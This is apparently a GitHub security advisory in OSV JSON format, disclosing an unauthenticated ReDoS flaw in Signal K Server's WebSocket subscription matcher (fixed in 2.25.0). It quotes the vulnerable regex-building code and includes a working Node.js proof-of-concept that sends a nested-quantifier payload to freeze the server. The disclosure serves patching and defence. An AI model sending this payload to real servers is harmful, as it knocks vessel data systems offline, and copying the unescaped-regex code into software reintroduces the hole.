{"id":"GHSA-7gcj-phff-2884","summary":"Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths","details":"## Summary\nThe SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.\n\n## Description\nThe vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.\n\nWhile the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters—such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.\n\n## Affected Code Blocks & Files\n**File:** `signalk-server/src/subscriptionmanager.ts`\n\n**Affected lines for Context subscriptions (282-300):**\n```typescript\nfunction contextMatcher(...) {\n  if (subscribeCommand.context) {\n    if (isString(subscribeCommand.context)) {\n      const pattern = subscribeCommand.context\n        .replace(/\\./g, '\\\\.')\n        .replace(/\\*/g, '.*')\n      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly\n      return (normalizedDeltaData: WithContext) =\u003e\n        matcher.test(normalizedDeltaData.context) ||\n```\n\n**Affected lines for Path subscriptions (276-280):**\n```typescript\nfunction pathMatcher(path: string = '*') {\n  const pattern = path.replace(/\\./g, '\\\\.').replace(/\\*/g, '.*')\n  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here\n  return (aPath: string) =\u003e matcher.test(aPath)\n}\n```\n\n## Proof of Concept (PoC) Steps\n\n```\nconst WebSocket = require('ws');\nconst http = require('http');\n\nconst HOST = 'localhost';\nconst PORT = 3000;\nconst WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;\n// Use the API endpoint to measure real server processing lag (requires JSON serialization)\nconst HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;\n\nconsole.log(`[+] Target Server API: ${HTTP_URL}`);\nconsole.log(`[+] Target WebSocket: ${WS_URL}`);\n\nlet requestCount = 0;\n\n// Polling function to check server responsiveness and compute delay\nfunction checkServerStatus() {\n    const startTime = Date.now();\n    requestCount++;\n    const reqId = requestCount;\n    \n    const req = http.get(HTTP_URL, (res) =\u003e {\n        let size = 0;\n        res.on('data', chunk =\u003e { size += chunk.length; });\n        res.on('end', () =\u003e {\n             const latency = Date.now() - startTime;\n             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);\n        });\n    });\n\n    req.on('error', (err) =\u003e {\n        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);\n    });\n\n    // Timeout if the event loop is blocked\n    req.setTimeout(2000, () =\u003e {\n        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);\n        req.destroy();\n    });\n}\n\n// Start polling every 1 second\nconsole.log('[+] Starting baseline HTTP polling...');\nconst pollInterval = setInterval(checkServerStatus, 1000);\n\n// Wait a few seconds to establish a baseline, then launch the ReDoS\nsetTimeout(() =\u003e {\n    console.log(`\\n[!] Initiating WebSocket connection to launch ReDoS attack...`);\n    const ws = new WebSocket(WS_URL);\n\n    ws.on('open', () =\u003e {\n        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');\n        \n        // This regex exploits the unescaped Regex metacharacters in context matcher.\n        // It forms: `^vessels\\.([a-z0-9:-]+)+!$`\n        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), \n        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations \n        // because it fails to find the '!' at the end. This reliably freezes V8.\n        const pocPayload = {\n            context: \"vessels.([a-z0-9:-]+)+!\",\n            announceNewPaths: true,\n            subscribe: [{ path: \"*\" }]\n        };\n\n        ws.send(JSON.stringify(pocPayload));\n        console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\\n');\n    });\n\n    ws.on('error', (err) =\u003e {\n        console.error(`[-] WebSocket Error: ${err.message}`);\n    });\n\n}, 3500);\n\n// Automatically shut down the test after 15 seconds\nsetTimeout(() =\u003e {\n    console.log(`\\n[+] Test complete. Stopping pollers.`);\n    clearInterval(pollInterval);\n    process.exit(0);\n}, 15000);\n```\n\u003cimg width=\"1003\" height=\"524\" alt=\"Screenshot 2026-03-29 101918\" src=\"https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039\" /\u003e\n\n## Impact\n\nThis vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. \n\n\u003cimg width=\"999\" height=\"153\" alt=\"Screenshot 2026-03-29 101820\" src=\"https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0\" /\u003e","aliases":["CVE-2026-39320"],"modified":"2026-04-21T17:32:44.245389Z","published":"2026-04-21T17:17:00Z","database_specific":{"github_reviewed_at":"2026-04-21T17:17:00Z","severity":"HIGH","nvd_published_at":"2026-04-21T01:16:05Z","cwe_ids":["CWE-1333","CWE-400"],"github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39320"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/pull/2568"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"}],"affected":[{"package":{"name":"signalk-server","ecosystem":"npm","purl":"pkg:npm/signalk-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.25.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7gcj-phff-2884/GHSA-7gcj-phff-2884.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}